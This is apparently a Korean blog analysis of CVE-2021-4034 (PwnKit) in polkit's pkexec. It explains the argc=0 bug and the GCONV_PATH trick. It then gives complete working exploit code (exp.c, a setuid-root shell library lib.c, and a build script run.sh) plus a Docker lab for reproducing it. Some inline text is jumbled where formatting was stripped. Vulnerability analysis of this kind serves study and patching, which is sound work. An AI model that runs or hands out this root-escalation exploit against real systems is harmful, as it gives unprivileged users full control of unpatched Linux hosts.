
CVE-2021-4034 POC, Docker 및 분석 글
[toc]
취약점 번호: CVE-2021-4034
취약점 점수:
취약점 제품: linux PolKit (pkexec)
영향 범위: 2009년부터 현재(0.105)까지의 버전 영향 참조 http://its.dlut.edu.cn/info/1054/78309.htm
이용 조건: linux 로컬; pkexec가 suid 파일이고 실행 권한이 있어야 함
소스 코드 획득: apt source policykit-1
또는 https://launchpad.net/ubuntu/bionic/+package/policykit-1
docker 환경: chenaotian/cve-2021-4034
직접 구축한 docker로서 다음을 제공합니다:
pkexec모든 것은 /root/ 디렉토리에 있습니다:

docker 시작:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
exp 테스트:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
취약점이 발생하는 제품은 polkit의 pkexec 명령입니다. pkexec는 sudo와 유사하게 다른 사용자(보통 root)로 명령을 실행할 수 있는 도구입니다. dpkg 명령으로 pkexec가 속한 패키지를 확인할 수 있습니다:
dpkg -S /usr/bin/pkexec

그런 다음 소스 패키지를 가져옵니다(제 docker에도 있습니다). 이후 소스 패키지를 기반으로 직접 컴파일하여 디버깅 가능한 버전을 만들어 디버깅에 사용합니다.
취약점 트리거 원리는 매우 간단합니다.
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* 이 부분의 의미는 사용자 입력 파라미터를 순회하며 파라미터에 따라 값을 설정하는 것입니다.
* 문제는 순회 시작점이 1이라서 사용자가 아무 파라미터도 입력하지 않은 경우를 고려하지 않았다는 점입니다.
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //인식할 수 없는 파라미터면 루프를 빠져나옵니다. 이 파라미터가 실행하려는 명령임을 의미합니다.
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //실행할 명령 문자열을 가져옵니다.
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path()는 환경을 통한 공격에 취약하지 않습니다 */
//이 함수는 PATH 환경 변수를 통해 실행할 명령의 절대 경로를 찾습니다.
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//찾은 절대 경로를 명령줄 인자로 다시 저장합니다.
}
··· ···
··· ···
코드의 제 주석을 바탕으로 분석하면:
pkexec가 실행할 명령)가 있다고 가정합니다.--로 시작하지 않는 명령줄 인자를 만나면 실행할 명령으로 간주하고, 해당 인자가 pkexec로 실행할 명령이라고 판단하여 루프를 빠져나와 이후 로직을 실행합니다.g_find_program_in_path 함수를 호출하여 명령의 절대 경로를 찾습니다. g_find_program_in_path 함수는 PATH 환경 변수를 사용하여 전달된 인자(명령)의 절대 경로를 찾습니다. 예를 들어 cat을 전달하면 /bin/cat을 반환합니다.이해하기 쉽지만, 문제는 다음과 같습니다:
리눅스 바이너리 프로그램이 실행될 때 명령줄 인자 argv[]와 환경 변수 environ[]을 스택 하단에 배치하며, argv[]와 environ[]은 연속적으로 배치됩니다. argv[]의 마지막 항목은 null입니다.

명령줄에서 pkexec를 실행할 때 다른 인자 없이 실행하면 argv[0]는 "pkexec", argv[1]은 \x00이 되어 문제가 없습니다. 하지만 execve 함수로 pkexec를 실행할 때 다른 인자 없이 실행하면 argv[0]은 이 되고, 은 환경 변수가 됩니다! 을 읽을 때 을 읽게 됩니다.
그럼 어떤 영향이 있을까요? execve로 실행할 때 다른 인자 없이 실행하면 argv[]의 길이가 0이므로 argv[1]은 environ[0]이 됩니다. 그러면 위에서 분석한 로직이 첫 번째 환경 변수의 값을 가져와서 PATH 환경 변수에서 그 절대 경로를 찾게 됩니다. 만약 찾으면 그 값을 첫 번째 환경 변수에 다시 씁니다. 따라서 이용 방법은 다음과 같습니다:
먼저 분명히 해야 할 점은 pkexec는 권한 있는(suid) 파일이라는 것입니다:

권한 있는 파일에서 환경 변수를 이용하여 어떻게든 할 수 있을까요? 먼저 작은 세부 사항을 알아보겠습니다:
리눅스 동적 링커 ld-linux-x86-64.so.2는 권한 있는 프로그램이 실행될 때 민감한 환경 변수를 제거합니다:
함수 _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //권한 모드인 경우
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//위험 환경 변수 목록의 모든 환경 변수를 루프로 제거(unset)합니다.
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
위험 환경 변수 목록 UNSECURE_ENVVARS는 다음과 같이 정의되어 있습니다:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
프로그램이 권한 파일(suid)임을 감지하면 위 환경 변수들을 모두 제거합니다. 대부분 LD_ 계열의 환경 변수이며, 이들은 동적 라이브러리 로딩 경로를 지정할 수 있는 능력이 있습니다. 이는 낮은 권한의 사용자가 이러한 환경 변수를 통해 suid 프로그램이 신뢰할 수 없는 so를 로드하지 못하게 하여 악성 코드 실행 및 권한 상승을 방지하기 위한 것입니다.
이 취약점 시나리오에서는 임의의 환경 변수에 한 번 쓸 기회가 있습니다. 우리의 이용 아이디어는 위에서 suid 프로그램에 전달할 수 없었던 환경 변수 중에서 무언가를 찾는 것입니다.
이미 PoC가 공개되었으므로 여기서는 정답을 바로 보는 것이 간단합니다. arthepsy의 PoC를 참고했습니다. 내용은 간단하지만 이 PoC를 통해 이용의 핵심 환경 변수가 **GCONV_PATH**임을 알 수 있습니다. 확실히 위험 환경 변수 목록에 포함되어 있으며, 심지어 첫 번째입니다!
GCONV_PATH와 iconv_open() 함수에 대해:
iconv_open()함수는 변환 설명자를 할당하여 문자 시퀀스를 인코딩fromcode에서 인코딩tcode로 변환하며, 변환 설명자는 변환 상태를 포함합니다.iconv_open()함수는 먼저 시스템에서 제공하는gconv-modules파일을 찾습니다. 이 파일에는 각 문자 집합에 대한 관련 정보 저장 경로가 포함되어 있으며, 각 문자 집합의 관련 정보는 .so 파일에 저장됩니다. 그런 다음gconv-modules파일의 지시에 따라 매개변수에 해당하는 .so 파일을 링크하여 구체적인 작업을 수행합니다. 환경 변수GCONV_PATH가 존재하면iconv_open()함수는GCONV_PATH에 따라gconv-modules파일을 찾고, 이후 작업은 동일하게 진행됩니다.
즉, GCONV_PATH 환경 변수는 LD_LIBRARY_PATH와 유사한 기능을 합니다. iconv_open() 함수가 so 라이브러리를 검색할 경로를 지정할 수 있습니다. GCONV_PATH를 위조한 다음 gconv-modules를 위조하고 마지막으로 so를 위조하면 임의 so 로딩 및 임의 코드 실행이 가능합니다.
대략적인 아이디어는 다음과 같습니다:
GCONV_PATH=.이라는 디렉토리를 생성합니다.
GCONV_PATH=. 디렉토리 안에 pwnkitdir이라는 파일을 생성하고, 실행 권한을 부여합니다.
pwnkitdir이라는 디렉토리를 생성합니다.
pwnkit 디렉토리에 gconv-modules 파일을 생성하고, 형식에 맞게 다음 내용을 작성합니다:
module UTF-8// PWNKIT// pwnkit 1
pwnkit 디렉토리에 악성 so pwnkit.so를 넣습니다. 셸을 획득하는 코드가 포함되어 있습니다.
관련 환경 변수를 설정합니다.
pwnkitdirPATH=GCONV_PATH=. 이렇게 하면 g_find_program_in_path 함수가 조합한 경로가 GCONV_PATH=./pwnkitdir이 되어 환경 변수 형식과 일치하며, 디렉토리가 존재하고 파일도 존재합니다.그러면 성공합니다. 구체적인 exp는 다음과 같습니다:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //경로는 실제 상황에 따라 수정하세요
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
이용 성공:

최신 버전으로 업그레이드
arthepsy의 PoC: https://github.com/arthepsy/CVE-2021-4034
\x00argv[1]argv[1]environ[0]명령줄에서 직접 pkexec를 실행할 때 argc는 1, argv[0]은 pkexec 경로:

execve 함수로 pkexec를 실행할 때 argc는 0:

./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT 환경 변수: iconv_open 전 경로에서 사용되어 gconv-modules에서 so를 검색합니다.SHELL=xxx 환경 변수: iconv_open 전 경로에서 사용됩니다.execve로 pkexec를 실행하며, 인자는 비어 있고 환경 변수는 위에서 설정한 값으로 합니다.